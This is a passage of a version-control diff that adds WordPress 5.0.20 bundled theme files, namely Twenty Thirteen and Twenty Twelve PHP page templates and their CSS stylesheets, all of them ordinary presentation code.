+	}
+
+	.author-avatar,
+	.site-footer,
+	.comment-respond,
+	.comments-area .comment-edit-link,
+	.comments-area .reply,
+	.comments-link,
+	.entry-meta .edit-link,
+	.page-links,
+	.site-content nav,
+	.widget-area,
+	.main-navigation,
+	.navbar,
+	.more-link {
+		display: none;
+	}
+
+	.entry-header,
+	.entry-content,
+	.entry-summary,
+	.entry-meta {
+		margin: 0;
+		width: 100%;
+	}
+
+	.page-title,
+	.entry-title {
+		font-size: 21pt;
+	}
+
+	.entry-meta,
+	.entry-meta a {
+		color: #444;
+		font-size: 10pt;
+	}
+
+	.entry-content img.alignleft,
+	.entry-content .wp-caption.alignleft {
+		margin-left: 0;
+	}
+
+	.entry-content img.alignright,
+	.entry-content .wp-caption.alignright {
+		margin-right: 0;
+	}
+
+	.format-image .entry-content .size-full {
+		margin: 0;
+	}
+
+	/* Remove colors from post formats */
+	.hentry {
+		background-color: #fff;
+	}
+
+	/* Comments */
+	.comments-area > li.comment {
+		background: none;
+		position: relative;
+		width: auto;
+	}
+
+	.comment-metadata {
+		float: none;
+	}
+
+	.comment-author .fn,
+	.comment-reply-link,
+	.comment-reply-login {
+		color: #333;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/tag.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/tag.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/tag.php	(revision 56912)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * The template for displaying Tag pages
+ *
+ * Used to display archive-type pages for posts in a tag.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Tag Archives: %s', 'twentythirteen' ), single_tag_title( '', false ) ); ?></h1>
+
+				<?php if ( tag_description() ) : // Show an optional tag description ?>
+				<div class="archive-meta"><?php echo tag_description(); ?></div>
+				<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/taxonomy-post_format.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/taxonomy-post_format.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/taxonomy-post_format.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * The template for displaying Post Format pages
+ *
+ * Used to display archive-type pages for posts with a post format.
+ * If you'd like to further customize these Post Format views, you may create a
+ * new template file for each specific one.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( '%s Archives', 'twentythirteen' ), '<span>' . esc_html( get_post_format_string( get_post_format() ) ) . '</span>' ); ?></h1>
+			</header><!-- .archive-header -->
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/404.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/404.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * The template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<article id="post-0" class="post error404 no-results not-found">
+				<header class="entry-header">
+					<h1 class="entry-title"><?php _e( 'This is somewhat embarrassing, isn&rsquo;t it?', 'twentytwelve' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentytwelve' ); ?></p>
+					<?php get_search_form(); ?>
+				</div><!-- .entry-content -->
+			</article><!-- #post-0 -->
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/archive.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/archive.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/archive.php	(revision 56912)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * The template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * If you'd like to further customize these archive views, you may create a
+ * new template file for each specific one. For example, Twenty Twelve already
+ * has tag.php for Tag archives, category.php for Category archives, and
+ * author.php for Author archives.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php
+					if ( is_day() ) :
+						printf( __( 'Daily Archives: %s', 'twentytwelve' ), '<span>' . get_the_date() . '</span>' );
+					elseif ( is_month() ) :
+						printf( __( 'Monthly Archives: %s', 'twentytwelve' ), '<span>' . get_the_date( _x( 'F Y', 'monthly archives date format', 'twentytwelve' ) ) . '</span>' );
+					elseif ( is_year() ) :
+						printf( __( 'Yearly Archives: %s', 'twentytwelve' ), '<span>' . get_the_date( _x( 'Y', 'yearly archives date format', 'twentytwelve' ) ) . '</span>' );
+					else :
+						_e( 'Archives', 'twentytwelve' );
+					endif;
+				?></h1>
+			</header><!-- .archive-header -->
+
+			<?php
+			/* Start the Loop */
+			while ( have_posts() ) : the_post();
+
+				/* Include the post format-specific template for the content. If you want to
+				 * this in a child theme then include a file called content-___.php
+				 * (where ___ is the post format) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			endwhile;
+
+			twentytwelve_content_nav( 'nav-below' );
+			?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/author.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/author.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/author.php	(revision 56912)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * The template for displaying Author Archive pages
+ *
+ * Used to display archive-type pages for posts by an author.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<?php
+				/* Queue the first post, that way we know
+				 * what author we're dealing with (if that is the case).
+				 *
+				 * We reset this later so we can run the loop
+				 * properly with a call to rewind_posts().
+				 */
+				the_post();
+			?>
+
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Author Archives: %s', 'twentytwelve' ), '<span class="vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1>
+			</header><!-- .archive-header -->
+
+			<?php
+				/* Since we called the_post() above, we need to
+				 * rewind the loop back to the beginning that way
+				 * we can run the loop properly, in full.
+				 */
+				rewind_posts();
+			?>
+
+			<?php twentytwelve_content_nav( 'nav-above' ); ?>
+
+			<?php
+			// If a user has filled out their description, show a bio on their entries.
+			if ( get_the_author_meta( 'description' ) ) : ?>
+			<div class="author-info">
+				<div class="author-avatar">
+					<?php
+					/**
+					 * Filter the author bio avatar size.
+					 *
+					 * @since Twenty Twelve 1.0
+					 *
+					 * @param int $size The height and width of the avatar in pixels.
+					 */
+					$author_bio_avatar_size = apply_filters( 'twentytwelve_author_bio_avatar_size', 68 );
+					echo get_avatar( get_the_author_meta( 'user_email' ), $author_bio_avatar_size );
+					?>
+				</div><!-- .author-avatar -->
+				<div class="author-description">
+					<h2><?php printf( __( 'About %s', 'twentytwelve' ), get_the_author() ); ?></h2>
+					<p><?php the_author_meta( 'description' ); ?></p>
+				</div><!-- .author-description	-->
+			</div><!-- .author-info -->
+			<?php endif; ?>
+
+			<?php /* Start the Loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentytwelve_content_nav( 'nav-below' ); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/category.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/category.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/category.php	(revision 56912)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * The template for displaying Category pages
+ *
+ * Used to display archive-type pages for posts in a category.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Category Archives: %s', 'twentytwelve' ), '<span>' . single_cat_title( '', false ) . '</span>' ); ?></h1>
+
+			<?php if ( category_description() ) : // Show an optional category description ?>
+				<div class="archive-meta"><?php echo category_description(); ?></div>
+			<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php
+			/* Start the Loop */
+			while ( have_posts() ) : the_post();
+
+				/* Include the post format-specific template for the content. If you want to
+				 * this in a child theme then include a file called content-___.php
+				 * (where ___ is the post format) and that will be used instead.
+				 */
+				get_template_part( 'content', get_post_format() );
+
+			endwhile;
+
+			twentytwelve_content_nav( 'nav-below' );
+			?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/comments.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/comments.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * The template for displaying Comments
+ *
+ * The area of the page that contains both current comments
+ * and the comment form. The actual display of comments is
+ * handled by a callback to twentytwelve_comment() which is
+ * located in the functions.php file.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+/*
+ * If the current post is protected by a password and
+ * the visitor has not yet entered the password we will
+ * return early without loading the comments.
+ */
+if ( post_password_required() )
+	return;
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php // You can start editing here -- including this comment! ?>
+
+	<?php if ( have_comments() ) : ?>
+		<h2 class="comments-title">
+			<?php
+				printf( _n( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'twentytwelve' ),
+					number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' );
+			?>
+		</h2>
+
+		<ol class="commentlist">
+			<?php wp_list_comments( array( 'callback' => 'twentytwelve_comment', 'style' => 'ol' ) ); ?>
+		</ol><!-- .commentlist -->
+
+		<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?>
+		<nav id="comment-nav-below" class="navigation" role="navigation">
+			<h1 class="assistive-text section-heading"><?php _e( 'Comment navigation', 'twentytwelve' ); ?></h1>
+			<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentytwelve' ) ); ?></div>
+			<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentytwelve' ) ); ?></div>
+		</nav>
+		<?php endif; // check for comment navigation ?>
+
+		<?php
+		/* If there are no comments and comments are closed, let's leave a note.
+		 * But we only want the note on posts and pages that had comments in the first place.
+		 */
+		if ( ! comments_open() && get_comments_number() ) : ?>
+		<p class="nocomments"><?php _e( 'Comments are closed.' , 'twentytwelve' ); ?></p>
+		<?php endif; ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- #comments .comments-area -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/content-aside.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/content-aside.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/content-aside.php	(revision 56912)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * The template for displaying posts in the Aside post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<div class="aside">
+			<h1 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h1>
+			<div class="entry-content">
+				<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+			</div><!-- .entry-content -->
+		</div><!-- .aside -->
+
+		<footer class="entry-meta">
+			<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a>
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/content-image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/content-image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/content-image.php	(revision 56912)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * The template for displaying posts in the Image post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<a href="<?php the_permalink(); ?>" rel="bookmark">
+				<h1><?php the_title(); ?></h1>
+				<h2><time class="entry-date" datetime="<?php echo esc_attr( get_the_date( 'c' ) ); ?>"><?php echo get_the_date(); ?></time></h2>
+			</a>
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/content-link.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/content-link.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/content-link.php	(revision 56912)
@@ -0,0 +1,26 @@
+<?php
+/**
+ * The template for displaying posts in the Link post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header><?php _e( 'Link', 'twentytwelve' ); ?></header>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a>
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/content-none.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/content-none.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/content-none.php	(revision 56912)
@@ -0,0 +1,20 @@
+<?php
+/**
+ * The template for displaying a "No posts found" message
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-0" class="post no-results not-found">
+		<header class="entry-header">
+			<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentytwelve' ); ?></h1>
+		</header>
+
+		<div class="entry-content">
+			<p><?php _e( 'Apologies, but no results were found. Perhaps searching will help find a related post.', 'twentytwelve' ); ?></p>
+			<?php get_search_form(); ?>
+		</div><!-- .entry-content -->
+	</article><!-- #post-0 -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/content-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/content-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/content-page.php	(revision 56912)
@@ -0,0 +1,26 @@
+<?php
+/**
+ * The template used for displaying page content in page.php
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<?php if ( ! is_page_template( 'page-templates/front-page.php' ) ) : ?>
+			<?php the_post_thumbnail(); ?>
+			<?php endif; ?>
+			<h1 class="entry-title"><?php the_title(); ?></h1>
+		</header>
+
+		<div class="entry-content">
+			<?php the_content(); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentytwelve' ), 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<footer class="entry-meta">
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/content-quote.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/content-quote.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/content-quote.php	(revision 56912)
@@ -0,0 +1,25 @@
+<?php
+/**
+ * The template for displaying posts in the Quote post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a>
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/content-status.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/content-status.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/content-status.php	(revision 56912)
@@ -0,0 +1,42 @@
+<?php
+/**
+ * The template for displaying posts in the Status post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<div class="entry-header">
+			<header>
+				<h1><?php the_author(); ?></h1>
+				<h2><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a></h2>
+			</header>
+			<?php
+			/**
+			 * Filter the status avatar size.
+			 *
+			 * @since Twenty Twelve 1.0
+			 *
+			 * @param int $size The height and width of the avatar in pixels.
+			 */
+			$status_avatar = apply_filters( 'twentytwelve_status_avatar', 48 );
+			echo get_avatar( get_the_author_meta( 'ID' ), $status_avatar );
+			?>
+		</div><!-- .entry-header -->
+
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/content.php	(revision 56912)
@@ -0,0 +1,73 @@
+<?php
+/**
+ * The default template for displaying content
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<?php if ( is_sticky() && is_home() && ! is_paged() ) : ?>
+		<div class="featured-post">
+			<?php _e( 'Featured post', 'twentytwelve' ); ?>
+		</div>
+		<?php endif; ?>
+		<header class="entry-header">
+			<?php if ( ! post_password_required() && ! is_attachment() ) :
+				the_post_thumbnail();
+			endif; ?>
+
+			<?php if ( is_single() ) : ?>
+			<h1 class="entry-title"><?php the_title(); ?></h1>
+			<?php else : ?>
+			<h1 class="entry-title">
+				<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+			</h1>
+			<?php endif; // is_single() ?>
+			<?php if ( comments_open() ) : ?>
+				<div class="comments-link">
+					<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+				</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentytwelve' ), 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php twentytwelve_entry_meta(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+			<?php if ( is_singular() && get_the_author_meta( 'description' ) && is_multi_author() ) : // If a user has filled out their description and this is a multi-author blog, show a bio on their entries. ?>
+				<div class="author-info">
+					<div class="author-avatar">
+						<?php
+						/** This filter is documented in author.php */
+						$author_bio_avatar_size = apply_filters( 'twentytwelve_author_bio_avatar_size', 68 );
+						echo get_avatar( get_the_author_meta( 'user_email' ), $author_bio_avatar_size );
+						?>
+					</div><!-- .author-avatar -->
+					<div class="author-description">
+						<h2><?php printf( __( 'About %s', 'twentytwelve' ), get_the_author() ); ?></h2>
+						<p><?php the_author_meta( 'description' ); ?></p>
+						<div class="author-link">
+							<a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+								<?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentytwelve' ), get_the_author() ); ?>
+							</a>
+						</div><!-- .author-link	-->
+					</div><!-- .author-description -->
+				</div><!-- .author-info -->
+			<?php endif; ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/css/blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/css/blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/css/blocks.css	(revision 56912)
@@ -0,0 +1,443 @@
+/*
+Theme Name: Twenty Twelve
+Description: Used to style blocks.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Block Styles
+2.0 Blocks - Common Blocks
+3.0 Blocks - Formatting
+4.0 Blocks - Layout Elements
+5.0 Blocks - Widgets
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Captions */
+
+[class^="wp-block-"] figcaption {
+	color: #757575;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	font-style: italic;
+	text-align: left;
+}
+
+[class^="wp-block-"].alignleft,
+[class^="wp-block-"] .alignleft {
+	margin-right: 24px;
+}
+
+[class^="wp-block-"].alignright,
+[class^="wp-block-"] .alignright {
+	margin-left: 24px;
+}
+
+.rtl [class^="wp-block-"] figcaption {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+2.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+	margin-top: 0.1em;
+}
+
+/* Image */
+
+.wp-block-image figure:not(.aligncenter) {
+	line-height: 0;
+	margin: 0 1.714285714rem;
+}
+
+.wp-block-image figure.alignleft {
+	margin: 0.857142857rem 1.714285714rem 0.857142857rem 0;
+}
+
+.wp-block-image figure.alignright {
+	margin: 0.857142857rem 0 0.857142857rem 1.714285714rem;
+}
+
+.wp-block-image figcaption {
+	padding-top: 0.75em;
+}
+
+[class^="wp-block-"].alignleft,
+[class^="wp-block-"] .alignleft,
+[class^="wp-block-"].alignright,
+[class^="wp-block-"] .alignright {
+
+}
+
+/* Gallery */
+
+.wp-block-gallery {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+
+.wp-block-gallery .blocks-gallery-image figcaption,
+.wp-block-gallery .blocks-gallery-item figcaption {
+	left: 0;
+	right: 0;
+	text-align: center;
+	width: auto;
+}
+
+/* Quote */
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border: 0;
+	padding: 24px;
+	padding: 1.714285714rem;
+}
+
+.wp-block-quote {
+	padding: 24px;
+	padding: 1.714285714rem;
+}
+
+.wp-block-quote cite {
+	color: inherit;
+	font-size: inherit;
+	font-style: italic;
+}
+
